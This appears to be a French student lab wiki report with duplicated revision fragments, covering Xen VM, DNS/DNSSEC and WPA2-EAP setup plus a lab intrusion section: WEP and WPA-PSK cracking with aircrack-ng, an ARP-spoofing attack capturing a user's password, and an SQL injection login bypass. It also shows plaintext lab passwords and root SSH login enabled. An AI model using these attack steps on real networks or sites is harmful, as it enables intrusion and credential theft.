ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

TP sysres IMA2a5 2020/2021 G7

2020-11-17T13:21:52Z

Lchenu : /* Sécurisation de serveur DNS par DNSSEC */

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
udev 483904 0 483904 0% /dev
tmpfs 100712 120 100592 1% /run
/dev/xvda2 4062912 791352 3045464 21% /
tmpfs 5120 0 5120 0% /run/lock
tmpfs 306280 0 306280 0% /dev/shm
'''/dev/xvdb1 10255636 36872 9678092 1% /home'''
'''/dev/xvdb2 10255636 315536 9399428 4% /var'''

On peut vérifier que la VM est prête
xl list
Name ID Mem VCPUs State Time(s)
Domain-0 0 4046 4 r----- 6978.3
boeing 1 256 1 -b---- 185.5
NightHawk 3 1024 1 -b---- 826.8
'''hawker 4 1024 1 -b---- 776.9'''
blackbird 5 256 1 -b---- 640.4
Falcon 6 256 1 -b---- 691.7
rafale 8 256 1 -b---- 606.0
mirage 12 1024 1 -b---- 668.6
alpha-jet 13 256 1 -b---- 591.4
concorde 19 1024 1 -b---- 148.5
oronge 20 256 1 -b---- 536.2
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne.
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.

== Services Internet ==

=== Configuration du réseau ===

Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces
auto eth0
iface eth0 inet static
address 193.48.57.171
netmask 255.255.255.240
gateway 193.48.57.163

Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus
ifdown eth0
ifup eth0

Je vérifie que le processus s'est bien déroulé
ip r
default via 193.48.57.163 dev eth0 onlink
193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171
ping 193.48.57.162 (Adresse IP 3560E)

=== Serveur SSH ===
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :
vi /etc/ssh/sshd_config
PermitRootLogin yes // Permet l'accès direct en root
service ssh restart
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.
ssh root@193.48.57.171

=== Serveur DNS ===

Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.

Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.

Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre.
ns.lulya.space
193.48.57.171

Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.
ns.lulya.space1
ns6.gandi.net

Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.
Le fichier named.conf.options qui gère les options de configuration du DNS :
options {
directory "/var/cache/bind";
dnssec-validation auto;
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32; //Adresse IP de dns6.gandi.net
};

Puis le fichier named.conf.local pour déclarer les zones associées au domaine:
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space";
};

Enfin, le fichier de configuration /etc/bind/db.lulya.space :
$TTL 3600
@ IN SOA ns.lulya.space. postmaster.lulya.space. (
1 ; Version
1800 ; Refresh (30m)
600 ; Retry (10m)
3600 ; Expire (1h)
3600 ) ; Minimum TTL (1h)
@ IN NS ns.lulya.space.
@ IN NS ns6.gandi.net.
ns IN A 192.48.57.171
www IN A 192.48.57.171

J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.

Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.

=== Sécurisation de site web par certificat ===

Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.

Je modifie mon fichier db.lulya.space
Version : 2
IN MX 100 ns
www IN A 193.48.57.171

Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise.

Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat
openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr

J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier.

En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage
apt install strace
strace -f -o open newaliases
strace -f newaliases

=== Sécurisation de serveur DNS par DNSSEC ===

Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.

Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space

Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe :

- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK

- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée
mv Klulya.space.+005+11461.key lulya.space-ksk.key
mv Klulya.space.+005+11461.private lulya.space-ksk.private
mv Klulya.space.+005+27882.key lulya.space-zsk.key
mv Klulya.space.+005+27882.private lulya.space-zsk.private
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec

Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space
$include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key
$include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key

Je signe les enregistrements
dnssec-signzone -o lulya.space -k lulya.space-ksk ../db.lulya.space lulya.space-zsk

Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed
zone "lulya.space" {
type master;
file "/etc/bind/db.lulya.space.signed";
};

Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.

[[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]
 

== Tests d'intrusion ==

=== Cassage de clef WEP d’un point d’accès WiFi ===

On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.

Je dois trouver le point d’accès : canal et nom des réseaux.

Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau.

Dans notre cas, la carte Wi-fi se place en observateur du réseau.

Je liste les interfaces disponibles :
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlx40a5efd2140c rt2800usb Ralink Technology, Corp. RT5370

Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.

root@zabeth09:~# airmon-ng start wlx40a5efd2140c
Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.
(mac80211 monitor mode vif enabled on [phy0]wlan0mon
(mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)

Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.

En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé
root@zabeth09:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon rt2800usb Ralink Technology, Corp. RT5370

Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux
root@zabeth09:~# airmon-ng –encrypt wep wlan0mon

Beaucoup d'informations s'affichent et je visualise cracotte07 dans la liste pour ses informations.

root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon
Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56

Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.
airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP
root@zabeth09:~# aircrack-ng lcrack-01.cap
Opening lcrack-01.capse wait…

Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.

Aircrack-ng 1.5.2
[00:00:00] Tested 833 keys (got 73079 IVs)
KB depth byte(vote)
0 0/ 17 F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176)
1 0/ 1 91(103680) 34(83968) 54(83456) B3(83456) B9(82432)
2 2/ 2 60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664)
3 15/ 3 B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104)
4 0/ 1 74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ]
Decrypted correctly: 100%

=== Cassage de mot de passe WPA-PSK par force brute ===
En utilisant la même méthode, on peut craquer une autre clef WPA.
root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon
-rw-r--r-- 1 root root 88K Nov 4 17:11 lkrack-03.cap

Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.

int main(void){
int x;
for(x=0; x=99999999; x++){
printf("%08d\n",x);
}
}

Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico.
root@zabeth09:~# gcc -Wall -o dico main.c

Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.
root@zabeth09:~# ./dico | more
00000000
00000001
00000002
00000003
00000004
root@zabeth09:~# ./dico | tail
99999995
99999996
99999997
99999998
99999999

Je finis par les transférer dans un fichier .txt
root@zabeth09:~# ./dico > dico.txt

Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09.
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/
root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap > /tmp/result

En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.
root@zabeth09:~# split -n 2 dico.txt
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico
root@zabeth09:~# ls -lhrt
-rw-r--r-- 1 root root 101 Nov 4 17:09 main.c
-rwxr-xr-x 1 root root 17K Nov 4 17:09 dico
-rw-r--r-- 1 root root 430M Nov 4 17:15 xaa
-rw-r--r-- 1 root root 430M Nov 4 17:15 xab
En tapant la commande tail, je vérifie que celui que je veux est bien xab

Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22
root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap > /tmp/result

Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)
root@zabeth22:~# cat /tmp/result
Aircrack-ng 1.5.2
[00:09:13] 10260165/102795810 keys tested (3427.05 k/s)
Time left: 7 hours, 30 minutes, 1 second 9.98%
KEY FOUND! [ 10255555 ]

La clé se trouvait dans les 1er 10 % de dico.
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.
Il est logique que celui-ci nous donne aucune clé en réponse.

root@zabeth26:~# cat /tmp/result
[00:46:05] 50000000/51397904 keys tested (3498.19 k/s)
Time left: 0 seconds 97.28%
KEY NOT FOUND
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.

=== Attaque de type "homme au milieu" par usurpation ARP ===

J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :

- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées

- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local

- dsniff : écoute de mots de passe pour différents protocoles

Je vérifie d’abord que dorade est bien configuré au niveau du réseau.
root@dorade:/home/pifou# cat /etc/network/interfaces
# This is an autoconfigured IPv6 interface
iface eth0 inet static
address 172.26.145.101
netmask 255.255.255.0
gateway 172.26.145.254

Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires
root@dorade:/home/pifou# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

Une commande permet de voir la table de routage.
root@dorade:/home/pifou# ip r
default via 172.26.145.254 dev eth0 onlink
169.254.0.0/16 dev eth0 scope link metric 1000
172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101

Je vérifie qu’il est bien relié au réseau en pingant zabeth09.
root@dorade:/home/pifou# ping zabeth09
PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms
64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms
--- zabeth09 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms

En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.

Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.

- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.

- La commande retourne la valeur 1 : l'IP Forwarding est activé.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 0
Dorade n’est pas en mode routeur, je passe alors le noyau à 1
root@dorade:/home/pifou# echo 1 > /proc/sys/net/ipv4/ip_forward

J'utilise la commande arpsppof, en prenant les informations collectées au début.
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.
root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1
5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1

Lors de cette étape toujours en cours, je lance un second terminal.
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.
root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward 1
root@dorade:/home/pifou# wireshark
[[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]
 
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr

=== Intrusion sur un serveur d’application Web ===

Je veux m'introduire sur un site de Polytech honey.plil.info.
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.
SELECT id FROM users WHERE id='$id' AND pass='$pass';
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='

Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='

J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]
 

== Réalisation ==

=== Sécurisation WiFi par WPA2-EAP ===

==== Configuration serveur FreeRadius ====

L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.

Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.

Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.
apt update
apt install freeradius

Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users
pifou Cleartext-Password := "glopglop"

/etc/freeradius/3.0/mods-enabled/eap
eap{
default_eap_type = peap
}

/etc/freeradius/3.0//mods-enabled/mschap
//Décommenter et vérifier
use_mppe = yes
require_encryption = yes
require_strong = yes
//Ajouter
with_ntdomain_hack = yes

Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:
client access-point { /Nom du client
ipaddr = 10.60.0.100 //Adress IP de la borne
secret = glopglop //Mot secret saisi lors de la configuration
}

Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.
service freeradius stop
ps auxwww | grep free
root 18316 0.0 0.0 3084 888 pts/0 S+ 22:49 0:00 grep free
kill 10659
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions
freeradius -X

==== Configuration des points d'accès WiFi ====

Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.

J'accède à la configuration de la borne WiFi
minicom -os
port : /dev/ttyUSB2
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#

Je passe en mode privilégié et en mode configuration
ap#enable
ap#config term

On met la commande suivante pour :

authentification : vérifier l'identité de l'utilisateur

authorization : pouvoir limiter l'accès à certaines fonctionnalités

accounting : pouvoir enregistrer les actions de l'utilisateur

ap(config)#aaa new-model

Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius
ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop

Définition du groupe de serveur
ap(config)#aaa group server radius radius_lulya

Association du groupe de serveur et du serveur de la VM
ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813

Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier
ap(config)#aaa authentication login eap_lulya group radius_lulya

Définition du SSID protégé par la méthode WPA2-EAP
ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya
ap(config-ssid)#vlan 10
ap(config-ssid)#authentication open eap eap_lulya
ap(config-ssid)#authentication network-eap eap_lulya
ap(config-ssid)#authentication key-management wpa

Configuration du Vlan
ap(config)#interface Dot11Radio0
ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip
ap(config-if)#ssid SSID_lulya

Création de sous interfaces
ap(config)#interface dot11Radio0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

ap(config)#interface fast0.10
ap(config-subif)#encapsulation dot1Q 10
ap(config-subif)#bridge-group 10

Ajout SSID dans l'interface Dot11Radio0
ap(config-subif)#interface Dot11Radio0
ap(config-if)#dot11 ssid SSID_lulya

Rendre le SSID visible
ap(config-ssid)#interface Dot11Radio0
ap(config-if)#mbssid
ap(config-if)#dot11 ssid SSID_lulya
ap(config-ssid)#mbssid guest-mode

Je quitte tout en utilisant <code>exit</code>, puis faire un <code>write</code> pour prendre en compte toutes les configurations, pour finir je <code>reload</code>
ap(config)#write
Building configuration...
[OK]

Fichier:DNS Léna.png

2020-11-17T13:17:05Z

Lchenu :

TP sysres IMA2a5 2020/2021 G7

2020-11-17T13:16:08Z

Lchenu : /* Intrusion sur un serveur d’application Web */

== Installation de la machine virtuelle Xen ==

=== Création de la VM ===
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh
ssh root@capbreton.plil.info

Nom de ma machine : hawker

Adresse IP de la machine : 193.48.57.171

Adresse du routeur : 193.48.57.163

Le répertoire des disques virtuels : /usr/local/xen

xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.
xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf

J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker

Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/

La distribution stable courant : http://proxy.polytech-lille.fr:3128

xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force

En lançant un second terminal, je peux suivre le processus d’installation
tail -f /var/log/xen-tools/hawker.log

Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.

Installation Summary
---------------------
Hostname : hawker
Distribution : ascii
MAC Address : 00:16:3E:A4:65:07
IP Address(es) : dynamic
SSH Fingerprint : SHA256:xxxxxxx (DSA)
SSH Fingerprint : SHA256:xxxxxxx (ECDSA)
SSH Fingerprint : SHA256:xxxxxxx (ED25519)
SSH Fingerprint : SHA256:xxxxxxx (RSA)
Root Password : xxxxxxxxxxxxxxxxxxxxxxxx

Via la commande passwd, j'ai changé le mot de passe par "glopglop"

=== Configuration de la VM ===

Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.
Je récupère le nom du bridge "IMA2a5"
brctl show
bridge name bridge id STP enabled interfaces
'''IMA2a5 8000.34800d508a83 no ether1'''
IMA5sc 8000.34800d508a82 no ether0
L3MRIT 8000.b026289b2c9a no ether2
Trunk 8000.4cd98fa49258 no ether4
bridgeGIS 8000.4cd98fa49258 no vlan502

J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5.

kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '1024'

root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
]

name = 'hawker'

'''vif = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''

on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

J'accède à ma machine virtuelle
xl create /etc/xen/hawker.cfg
xl console hawker

Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte
lvcreate -L10G -n hawker-var virtual
lvcreate -L10G -n hawker-home virtual

Je pointe le système de fichier sur les deux nouvelles partitions
mke2fs /dev/virtual/hawker-home
mke2fs /dev/virtual/hawker-var

Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.

disk = [
'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',
'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',
''''phy:/dev/virtual/hawker-home,xvdb1,w','''
''''phy:/dev/virtual/hawker-var,xvdb2,w','''
]

Puis je redémarre la VM pour prendre en compte les modifications
xl shutdown hawker
xl create /etc/xen/hawker.cfg

A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.
/dev/xvdb1 /home ext4 defaults 0 2
#/dev/xvdb2 /var ext4 defaults 0 2
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.
mkfs -t ext4 /dev/xvdb2
mount /dev/xvdb2 /mnt
mv /var/* /mnt
blkid Trouver ou afficher les attributs de périphérique bloc
/dev/xvda2: UUID="efa11821-8780-4938-9473-5d217752316e" TYPE="ext4"
/dev/xvda1: UUID="1a3161b3-a90d-4da5-a224-cfc496e70c89" TYPE="swap"
/dev/xvdb1: UUID="5645526d-2cf4-42b5-a4a7-94fdda100ca1" TYPE="ext4"
/dev/xvdb2: UUID="5b49ce5f-8116-4c41-aa25-97536f644803" TYPE="ext4"
vi /etc/fstab
Par la suite, je peux décommenter la ligne et exécuter :
umount /mnt
mount -a
Je vérifie que les disques sont bien montés via la commande df
Filesystem 1K-blocks Used Available Use% Mounted on
